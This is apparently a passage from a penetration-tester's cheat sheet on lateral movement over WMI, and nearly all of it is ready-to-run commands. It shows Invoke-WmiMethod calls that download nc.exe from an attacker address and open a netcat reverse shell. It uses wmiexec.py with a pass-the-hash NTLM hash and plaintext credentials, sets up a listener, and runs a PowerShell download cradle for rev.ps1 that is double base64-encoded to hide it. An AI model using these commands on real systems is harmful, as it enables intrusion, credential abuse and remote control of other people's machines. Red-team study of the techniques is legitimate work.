PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace" | Select Name

Execute commands:

PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("powershell (New-Object Net.WebClient).DownloadFile('http://10.10.13.37/nc.exe', 'C:\Users\bob\music\nc.exe')")
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -ArgumentList ("C:\Users\bob\music\nc.exe 10.10.13.37 1337 -e powershell")

$ wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 snovvcrash@192.168.1.11

Get a PowerShell reverse-shell:

$ sudo python3 -m http.server 80
$ sudo rlwrap nc -lvnp 443
$ wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 'powershell iEx (iWr "http://10.10.13.37/rev.ps1")'

When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to spawn a new PowerShell process:

wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 "powershell -enc $(echo -n 'Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc '`echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/rev.ps1")' | iconv -t UTF-16LE | base64 -w0`'")' | iconv -t UTF-16LE | base64 -w0)"
